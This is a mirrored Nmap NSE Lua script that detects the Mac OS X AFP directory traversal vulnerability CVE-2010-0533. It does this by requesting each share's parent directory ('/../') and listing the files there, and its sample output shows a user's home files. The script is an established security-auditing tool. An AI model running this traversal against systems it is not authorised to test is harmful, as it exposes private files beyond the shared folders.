mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 12:41:29 +00:00
179 lines
5.3 KiB
Lua
179 lines
5.3 KiB
Lua
description = [[
|
|
Detects the Mac OS X AFP directory traversal vulnerability, CVE-2010-0533.
|
|
|
|
This script attempts to iterate over all AFP shares on the remote
|
|
host. For each share it attempts to access the parent directory by
|
|
exploiting the directory traversal vulnerability as described in
|
|
CVE-2010-0533.
|
|
|
|
The script reports whether the system is vulnerable or not. In
|
|
addition it lists the contents of the parent and child directories to
|
|
a max depth of 2.
|
|
When running in verbose mode, all items in the listed directories are
|
|
shown. In non verbose mode, output is limited to the first 5 items.
|
|
If the server is not vulnerable, the script will not return any
|
|
information.
|
|
|
|
For additional information:
|
|
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533
|
|
* http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap
|
|
* http://support.apple.com/kb/HT1222
|
|
]]
|
|
|
|
---
|
|
-- @args afp.username The username to use for authentication. (If unset it first attempts to use credentials found by <code>afp-brute</code> then no credentials)
|
|
-- @args afp.password The password to use for authentication. (If unset it first attempts to use credentials found by <code>afp-brute</code> then no credentials)
|
|
--
|
|
--@output
|
|
-- PORT STATE SERVICE
|
|
-- 548/tcp open afp
|
|
-- | afp-path-vuln:
|
|
-- | Patrik Karlsson's Public Folder/../ (5 first items)
|
|
-- | .bash_history
|
|
-- | .bash_profile
|
|
-- | .CFUserTextEncoding
|
|
-- | .config/
|
|
-- | .crash_report_checksum
|
|
-- |
|
|
-- |_AFP path traversal (CVE-2010-0533): VULNERABLE
|
|
--
|
|
|
|
--
|
|
-- Version 0.3
|
|
--
|
|
-- Created 02/09/2010 - v0.1 - created by Patrik Karlsson as PoC for Apple
|
|
-- Revised 05/03/2010 - v0.2 - cleaned up and added dependency to afp-brute and added support
|
|
-- for credentials by argument or registry
|
|
-- Revised 10/03/2010 - v0.3 - combined afp-path-exploit and afp-path-vuln into this script
|
|
|
|
author = "Patrik Karlsson"
|
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|
categories = {"vuln", "safe"}
|
|
|
|
require 'shortport'
|
|
require 'stdnse'
|
|
require 'afp'
|
|
|
|
dependencies = {"afp-brute"}
|
|
|
|
portrule = shortport.portnumber(548, "tcp")
|
|
|
|
--- This function processes the table returned by the Dir method of the Helper class
|
|
--
|
|
-- @param tbl table containing the table as return from the Dir method
|
|
-- @param max_count number containing the maximum items to return
|
|
-- @param out table used when called recursively should be nil on first call
|
|
-- @param count number with total amount of entries so far, nil at first call
|
|
-- @return table suitable for stdnse.format_output
|
|
local function processResponse( tbl, max_count, out, count )
|
|
|
|
local out = out or {}
|
|
local count = count or 0
|
|
|
|
for _, v in ipairs(tbl) do
|
|
if ( max_count and max_count > 0 and max_count <= count ) then
|
|
break
|
|
end
|
|
if ( v.name ) then
|
|
local sfx = ( v.type == 0x80 ) and "/" or ""
|
|
table.insert(out, v.name .. sfx )
|
|
count = count + 1
|
|
elseif( type(v) == 'table' ) then
|
|
local tmp = {}
|
|
table.insert( out, tmp )
|
|
processResponse( v, max_count, tmp, count )
|
|
end
|
|
end
|
|
|
|
-- strip the outer table
|
|
return out[1]
|
|
end
|
|
|
|
--- This function simply checks if the table contains a Directory Id (DID) of 2
|
|
-- The DID of the AFP sharepoint is always 2, but no child should have this DID
|
|
--
|
|
-- @param tbl table containing the table as return from the Dir method
|
|
-- @return true if host is vulnerable, false otherwise
|
|
local function isVulnerable( tbl )
|
|
for _, v in ipairs(tbl) do
|
|
-- if we got no v.id it's probably a container table
|
|
if ( not(v.id) ) then
|
|
if ( isVulnerable(v) ) then
|
|
return true
|
|
end
|
|
end
|
|
if ( v.id == 2 ) then
|
|
return true
|
|
end
|
|
end
|
|
return false
|
|
end
|
|
|
|
action = function(host, port)
|
|
|
|
local status, response, shares
|
|
local result = {}
|
|
local afp_helper = afp.Helper:new()
|
|
local args = nmap.registry.args
|
|
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
|
local vulnerable = false
|
|
|
|
local MAX_FILES = 5
|
|
|
|
if ( args['afp.username'] ) then
|
|
users = {}
|
|
users[args['afp.username']] = args['afp.password']
|
|
end
|
|
|
|
for username, password in pairs(users) do
|
|
|
|
status, response = afp_helper:OpenSession(host, port)
|
|
if ( not(status) ) then
|
|
stdnse.print_debug(response)
|
|
return
|
|
end
|
|
|
|
-- Attempt to use No User Authentication?
|
|
if ( username ~= 'nil' ) then
|
|
status, response = afp_helper:Login(username, password)
|
|
else
|
|
status, response = afp_helper:Login(nil, nil)
|
|
end
|
|
if ( not(status) ) then
|
|
stdnse.print_debug("afp-path-vuln: Login failed", response)
|
|
stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response)
|
|
return
|
|
end
|
|
|
|
status, shares = afp_helper:ListShares()
|
|
|
|
for _, share in ipairs(shares) do
|
|
|
|
local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
|
|
|
|
if ( not(status) ) then
|
|
stdnse.print_debug(3, "afp-path-vuln: %s", response)
|
|
else
|
|
if ( isVulnerable( response ) ) then
|
|
vulnerable = true
|
|
if(nmap.verbosity() > 1) then
|
|
response = processResponse( response )
|
|
response.name = share .. "/../"
|
|
else
|
|
response = processResponse( response, MAX_FILES )
|
|
response.name = share .. ("/../ (%d first items)"):format(MAX_FILES)
|
|
end
|
|
table.insert(result, response)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
if ( vulnerable ) then
|
|
table.insert(result, "\n\nAFP path traversal (CVE-2010-0533): VULNERABLE")
|
|
end
|
|
|
|
return stdnse.format_output(true, result)
|
|
|
|
end
|